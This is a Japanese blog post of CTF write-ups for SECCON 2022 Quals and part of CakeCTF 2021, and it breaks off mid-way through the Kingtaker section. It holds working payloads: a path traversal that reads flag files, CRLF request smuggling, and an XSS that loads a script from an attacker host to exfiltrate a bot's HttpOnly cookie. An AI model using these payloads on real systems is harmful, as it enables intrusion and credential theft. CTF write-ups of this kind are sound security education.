SECCON CTF 2022 Quals writeups
今年も相変わらず会社のチームでSECCON予選に出場。主にWeb問を中心に解いて最終的にfind flag、skipinx、easylfi、bffcalcの4問を解いた。
国内本戦には一応出られそうな見込み。上位チームはWriteupの提出が必要ということでここに記す。
misc
find flag
#!/usr/bin/env python3.9 import os FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode() def check(): try: filename = input("filename: ") if open(filename, "rb").read(len(FLAG)) == FLAG: return True except FileNotFoundError: print("[-] missing") except IsADirectoryError: print("[-] seems wrong") except PermissionError: print("[-] not mine") except OSError: print("[-] hurting my eyes") except KeyboardInterrupt: print("[-] gone") return False if __name__ == '__main__': try: check = check() except FileExistsError: print("[-] something went wrong") exit(1) finally: if check: print("[+] congrats!") print(FLAG.decode())
コードをよーく見るとFileNotFoundError
, IsADirectoryError
, PermissionError
, OSError
, KeyboardInterrupt
以外の例外を発生させればflagが得られることがわかる。ctrl+d
でEOFError
を発生させればflagが得られる。
filename: [-] something went wrong [+] congrats! SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}
と、さらっと解けた風に書いているが、実際には全然解き方が分からずやけくそでブルートフォースするスクリプトを走らせたり止めたりしていたらWiresharkになぜかflagが記録されていて解けたのであった。
web
skipinx
Node.js製のサーバーの前にリバプロとしてNginxが動いているという構成。
Nginxではクエリ文字列にproxy=nginx
を付与してアプリにリクエストを送信する。
location / { set $args "${args}&proxy=nginx"; proxy_pass http://web:3000; }
バックエンドのアプリではクエリ文字列にproxy=nginx
が含まれない場合にフラグを返す処理が書かれている。
app.get("/", (req, res) => { req.query.proxy.includes("nginx") ? res.status(400).send("Access here directly, not via nginx :(") : res.send(`Congratz! You got a flag: ${FLAG}`); });
色々考えたが割と多くの人が解けていたので適当にガチャガチャした結果、最終的に次のリクエストにより制限を突破できた。
http://skipinx.seccon.games:8080/?proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a
Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}
easylfi
from flask import Flask, request, Response import subprocess import os app = Flask(__name__) def validate(key: str) -> bool: # E.g. key == "{name}" -> True # key == "name" -> False if len(key) == 0: return False is_valid = True for i, c in enumerate(key): if i == 0: is_valid &= c == "{" elif i == len(key) - 1: is_valid &= c == "}" else: is_valid &= c != "{" and c != "}" return is_valid def template(text: str, params: dict[str, str]) -> str: # A very simple template engine for key, value in params.items(): if not validate(key): return f"Invalid key: {key}" text = text.replace(key, value) return text @app.after_request def waf(response: Response): if b"SECCON" in b"".join(response.response): return Response("Try harder") return response @app.route("/") @app.route("/<path:filename>") def index(filename: str = "index.html"): if ".." in filename or "%" in filename: return "Do not try path traversal :(" try: proc = subprocess.run( ["curl", f"file://{os.getcwd()}/public/{filename}"], capture_output=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout" if proc.returncode != 0: return "Something wrong..." return template(proc.stdout.decode(), request.args)
超簡易なテンプレートエンジン的なものをもったWebアプリであることがわかる。テンプレートとなるローカルファイルを読み込む際にわざわざcurlを使っているあたりが実に怪しい。
flagを得るためにやることはシンプルで次の通り。
..
と%
という文字を使わずにパストラバーサルをして/flag.txt
を読む- 出力に
SECCON
という文字列が含まれないようにする(flagの形式はSECCON{xxx}
)
まずはflag.txtを読み込めるようにする。
You can specify multiple URLs or parts of URLs by writing part sets within braces and quoting the URL as in: "http://site.{one,two,three}.com"
波括弧を使うと何かできそうな気がしたので色々試したところ次のリクエストで..
を使わずにパストラバーサルをしてflag.txtを読み出すことができた。
GET /{hello.html,.\./.\./flag.txt} HTTP/1.1 Host: easylfi.seccon.games:3000
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Xxx, xx Nov 2022 xx:xx:xx GMT Content-Type: text/html; charset=utf-8 Content-Length: 10 Connection: close Try harder
ローカルでSECCON
文字列のチェックを無効化した問題サーバーを動かして前述のリクエストを送信すると、SECCON
という文字列が含まれているflag.txtを読み出すことに成功していることがわかる。
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Xxx, xx Nov 2022 xx:xx:xx GMT Content-Type: text/html; charset=utf-8 Content-Length: 240 Connection: close --_curl_--file:///app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html> --_curl_--file:///app/public/../../flag.txt SECCON{dummydummy}
次にこのレスポンスからSECCON
という文字列を消す方法を考える。
ここでテンプレートエンジンの仕様を確認すると次のことがわかる。
- クエリ文字列のkeyをvalueに置換する
- クエリ文字列のkeyは
{
で始まり}
で終わることと、波括弧はそれ以外の場所に含まれないことを確認するバリデーションがある- ただしバリデーションに不備がありkeyが
{
の1文字だけでも受け入れてしまう
- ただしバリデーションに不備がありkeyが
この不備を使うと次の手順によりSECCON
という文字列を削除することができる。
↓最初の状態
Hello, {name}! ... SECCON{dummydummy}
{name}
をAAA{
に置換
Hello, AAA{! ... SECCON{dummydummy}
{
を}{
に置換
Hello, AAA}{! ... SECCON}{dummydummy}
{! ... SECCON}
をBBB
に置換
Hello, AAA}BBB{dummydummy}
実際には次のリクエストでSECCON
をレスポンスから消し去ることができる。
GET /{hello.html,.\./.\./flag.txt}?{name}=AAA{&{=}{&%7B%21%3C%2Fh1%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E%0A%2D%2D%5Fcurl%5F%2D%2Dfile%3A%2F%2F%2Fapp%2Fpublic%2F%2E%2E%2F%2E%2E%2Fflag%2Etxt%0ASECCON%7D=BBB HTTP/1.1 Host: easylfi.seccon.games:3000
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Xxx, xx Nov 2022 xx:xx:xx GMT Content-Type: text/html; charset=utf-8 Content-Length: 199 Connection: close --_curl_--file:///app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, AAA}BBB{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
bffcalc
問題は複数のサーバーで構成されており、リクエストは次のように処理される。
nginx -> bff -> backend
このほかにbotも動いており、botに問題サーバーへアクセスされることもできる。
nginxは問題サーバーとbotへのリクエストのルーティングをしているだけで特殊なことは何もしていない。
bffは/
へのリクエストの場合、静的なページを返すがそれ以外のページへのアクセスの場合はbackendにリクエストを転送する。
backendはリクエストのクエリ文字列expr
の長さが50文字未満、かつ、0123456789+-*/
のみで構成されている場合はexpr
をeval
する。それ以外の場合はexpr
をそのまま返す。
flagはbotのcookieに入っているが、HttpOnly属性が付与されており普通にXSSするだけでは取得することができない。
コードを眺めているとbffからbackendにHTTPリクエストを送信する処理が、HTTPリクエストを文字列として生成し、生のsocketを使って送信するという実装になっておりここになんらかの穴がありそうと感じた。
def proxy(req) -> str: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("backend", 3000)) sock.settimeout(1) payload = "" method = req.method path = req.path_info if req.query_string: path += "?" + req.query_string payload += f"{method} {path} HTTP/1.1\r\n" for k, v in req.headers.items(): payload += f"{k}: {v}\r\n" payload += "\r\n" sock.send(payload.encode()) time.sleep(.3) try: data = sock.recv(4096) body = data.split(b"\r\n\r\n", 1)[1].decode() except (IndexError, TimeoutError) as e: print(e) body = str(e) return body
↑のpayload
をprintするように改造して色々リクエストを投げると次のことに気づいた。
下記のリクエストをbff(実際にはnginx)に対して送信すると
GET /AAA%0d%0aBBB?expr=CCC%0d%0aDDD HTTP/1.1 Host: localhost:3000
bffは次のリクエストを生成してbackendに送信する。
GET /AAA BBB?expr=CCC%0d%0aDDD HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: localhost X-Real-Ip: 172.19.0.1 X-Forwarded-For: 172.19.0.1 X-Forwarded-Proto: http
パスのURLエンコードされた文字列がデコードされ、改行がそのままリクエストに反映されてしまっている。これを利用することで変なリクエストを生成させて最終的にbotのcookieを入手できそうな雰囲気がある。
解き方として次の方針を立てた。
- Flagはcookieに含まれるためなんらかの方法でリクエストヘッダを入手する必要がある
expr
の値はそのまま返される- なんらかの方法でHTTPヘッダを
expr
の値としてサーバーに認識させてflagを入手する
(他の人のwriteupを見ると実際にはヘッダーをエラーメッセージに出力させるスマートな方法があったようだが、そこに気づかなかったため面倒なこの方法で突き進んでいった。)
クエリ文字列のexpr
にcookieを入れるのは無理だったが、色々試しているうちにbackendはクエリ文字列のexpr
だけではなくPOSTリクエストのbodyのexpr
も読み込んでくれることに気づいた。したがって次のリクエストをbackendに送信すると
GET /AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:100%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aexpr= HTTP/1.1 Host: localhost:3000
bffには次のリクエストが送信される。
GET /AAA HTTP/1.1 Host:a POST / HTTP/1.1 Host:b Content-Length:100 Content-Type:application/x-www-form-urlencoded expr= HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: localhost X-Real-Ip: 172.19.0.1 X-Forwarded-For: 172.19.0.1 X-Forwarded-Proto: http
bffはPOSTのbodyのexpr
の値をそのまま返すので、HTTPリクエストヘッダを含む次のレスポンスが返される。(幸いにも改行などは無視してくれる模様。)
HTTP/1.1 200 OK Server: nginx/1.23.2 Date: Wed, 16 Nov 2022 16:40:05 GMT Content-Type: text/html;charset=utf-8 Content-Length: 427 Connection: keep-alive Via: waitress 42HTTP/1.1 200 OK Content-Length: 95 Content-Type: text/html;charset=utf-8 Date: Wed, 16 Nov 2022 16:40:05 GMT Server: CherryPy/18.8.0 Via: waitress HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: localhoHTTP/1.0 200 OK Connection: close Content-Length: 2 Content-Type: text/html;charset=utf-8 Date: Wed, 16 Nov 2022 16:40:05 GMT Server: CherryPy/18.8.0 Via: waitress 42
botにこのようなリクエストを送信させレスポンスを入手すればflagが手に入りそうである。
expr
に次を指定し、botにアクセスさせる。
<img src=x onerror="s=document.createElement('script');s.src='http://XXXX/a.js';document.body.appendChild(s)">
↓a.js
の中身
fetch("/AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:431%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aexpr=") .then((resp) => resp.text()) .then((data) => { (new Image()).src = 'http://XXXX/?a=' + data; })
このリクエストによりbackendには次のリクエストが送信されbodyに入ったcookieがレスポンスとして返されるはずである。
GET /AAA HTTP/1.1 Host:a POST / HTTP/1.1 Host:b Content-Length:431 Content-Type:application/x-www-form-urlencoded expr= HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: nginx X-Real-Ip: 172.19.0.3 X-Forwarded-For: 172.19.0.3 X-Forwarded-Proto: http User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: */* Referer: http://nginx:3000/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: flag=SECCON{dummydummy}
が、実際に入手できたレスポンスは次だった。
42HTTP/1.1 200 OKContent-Length: 200Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 16:59:32 GMTServer: CherryPy/18.8.0Via: waitress HTTP/1.1Remote-Addr: 172.19.0.6Remote-Host: 172.19.0.6Connection: upgradeHost: nginxX-Real-Ip: 172.19.0.3X-Forwarded-For: 172.19.0.3X-Forwarded-Proto: httpUser-Agent: Mozilla/5.0 (X11
HTTPリクエストヘッダの途中まではいい感じに返ってきているが、User-AgentのMozilla/5.0 (X11
以降が返されていない。これはbackendのcherrypyがbodyをパースする際にUser-Agentに含まれる;
をデータの区切りとして認識してexpr
がそこで終わってしまったためである(むしろ改行が入っていても問題ないことにちょっと驚いたが)。
さて、fetch()
では一部のヘッダー*2を除いてヘッダーの値を変更することが可能であり、User-Agentは変更できることになっている。したがってUser-Agentを別の値に変更すればよさそうと思ったが、試してみると変更ができない。調べてみるとなんとChromeのバグ*3(botはChromeを使っている)によりUser-Agentを変更できないことがわかった。
このことに気づいたとき、作問者のArk氏は問題の難易度を上げるためにChromeのバグも利用するのかと一人で感動して震えていた。(想定解は別の方法な気がするので、今となってはこれは意図していなかった気もするが。)
;
が含まれるもう一つのヘッダであるAccept-Languageは変更可能なのでAccept-Language: &expr=
と指定すればAccept-Language以降がレスポンスに含まれると考えたがAccept-Languageを変更するとヘッダの順番が次のように変わってしまい、またもやUser-Agentの;
に阻まれることとなってしまった。(ここでもなんてよくできた問題なんだと感動していた。)
Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: nginx X-Real-Ip: 172.19.0.3 X-Forwarded-For: 172.19.0.3 X-Forwarded-Proto: http Accept-Language: &expr= User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: */* Referer: http://nginx:3000/ Accept-Encoding: gzip, deflate Cookie: flag=SECCON{dummydummy}
試行錯誤の末、最終的にRefererは同一オリジンであれば変更することができ、変更してもHTTPヘッダの順序は変わらないことが判明したため、次のJavaScriptをbotに実行させることにより
fetch("/AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:426%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aBBB=", { headers: { "Accept-Language": "CCC" }, referrer: "http://nginx:3000/?&expr=" }) .then((resp) => resp.text()) .then((data) => { (new Image()).src = 'http://XXXX/?a=' + data; })
backendには次のリクエストが送信され
GET /AAA HTTP/1.1 Host:a POST / HTTP/1.1 Host:b Content-Length:426 Content-Type:application/x-www-form-urlencoded BBB= HTTP/1.1 Remote-Addr: 172.19.0.6 Remote-Host: 172.19.0.6 Connection: upgrade Host: nginx X-Real-Ip: 172.19.0.3 X-Forwarded-For: 172.19.0.3 X-Forwarded-Proto: http Accept-Language: CCC User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: */* Referer: http://nginx:3000/?&expr= Accept-Encoding: gzip, deflate Cookie: flag=SECCON{dummydummy}
最終的なレスポンスとしてflagを手に入れることができる。
42HTTP/1.1 200 OKContent-Length: 65Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 17:51:27 GMTServer: CherryPy/18.8.0Via: waitressAccept-Encoding: gzip, deflateCookie: flag=SECCON{dummydummy}
実際の問題サーバーではPOSTのContent-Lengthを465に調整すると次の応答を得られ、flagが入手できた。
42HTTP/1.1 200 OKContent-Length: 105Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 17:56:41 GMTServer: CherryPy/18.8.0Via: waitressAccept-Encoding: gzip, deflateCookie: flag=SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}
CakeCTF 2021 Writeup
久しぶりにCTFに出たので久しぶりにwriteup描いてみる。
telepathy
問題文
HTTP is no longer required. It's time to use telepathy to communicate more securely and quickly. Here is my PoC: http://misc.cakectf.com:18100
問題のソースコードも与えられる。
問題の概要
与えられているファイルを見ると、このWebサイトはnginx(OpenResty)の後ろにGo製のシンプルなWebサーバーが動いているという構成で、後ろのWebサーバーがflagを送信しているだけという単純な構成。
nginxの設定ファイルの一部は次のようになっている。
location / { # I'm getting the flag with telepathy... proxy_pass http://app:8000/; # I will send the flag to you by HyperTextTelePathy, instead of HTTP header_filter_by_lua_block { ngx.header.content_length = nil; } body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); } }
body_filter_by_lua_block
の指定によりレスポンスに含まれる/\w*\{.*\}/
がI'm sending the flag to you by telepathy... Got it?\n
に書き換えられることがわかる。flagはCakeCTF{...}
という形式なのでこのルールにマッチし、書き換えられてしまう。
解き方
前述の正規表現にマッチすると内容が書き換えられてしまうため、レスポンスが正規表現にマッチしないように一部だけを送信してもらえれば良い。具体的にはHTTPリクエストヘッダにRangeを指定することでレスポンスを一部だけ取得することが可能となる。サーバーからのレスポンスヘッダにはAccept-Ranges: bytes
とありbyte単位で受信するサイズを指定できることもわかる。
まず次のリクエストを送る。
GET / HTTP/1.1 Host: misc.cakectf.com:18100 Range: bytes=0-10
すると次のレスポンスが返される。
HTTP/1.1 206 Partial Content Server: openresty/1.19.3.2 Date: Sat, 28 Aug 2021 23:41:35 GMT Content-Type: text/plain; charset=utf-8 Connection: keep-alive Accept-Ranges: bytes Content-Range: bytes 0-10/28 Last-Modified: Fri, 27 Aug 2021 03:48:29 GMT Content-Length: 11 CakeCTF{r4n
無事flagの前半を取得できたので後半も取得する。
GET / HTTP/1.1 Host: misc.cakectf.com:18100 Range: bytes=8-
HTTP/1.1 206 Partial Content Server: openresty/1.19.3.2 Date: Sat, 28 Aug 2021 23:44:29 GMT Content-Type: text/plain; charset=utf-8 Connection: keep-alive Accept-Ranges: bytes Content-Range: bytes 8-27/28 Last-Modified: Fri, 27 Aug 2021 03:48:29 GMT Content-Length: 20 r4ng3-0r4ng3-r4ng3}
Flagは次の通り。
CakeCTF{r4ng3-0r4ng3-r4ng3}
ジャンルはmiscとなっていたがweb感のある問題だった。
Kingtaker
問題文
Kingtaker is a short game about a sharply depressed king.
URLも与えられる。
問題の概要
与えられたURLにアクセスすると次のようなゲームを遊ぶことができる。決められた歩数内で障害物を動かしつつ、アイテムを取り切るというもの。歩数を消費し切るとゲームオーバーとなる。
解き方
なんとなく開発者ツールのコンソールでglobal
